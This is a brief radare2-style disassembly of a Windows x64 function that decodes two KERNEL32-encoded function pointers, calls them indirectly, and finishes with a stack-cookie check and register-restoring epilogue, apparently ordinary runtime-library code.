call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140022bf0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140040b58]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140022c12
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140022c14
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14001dc50
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret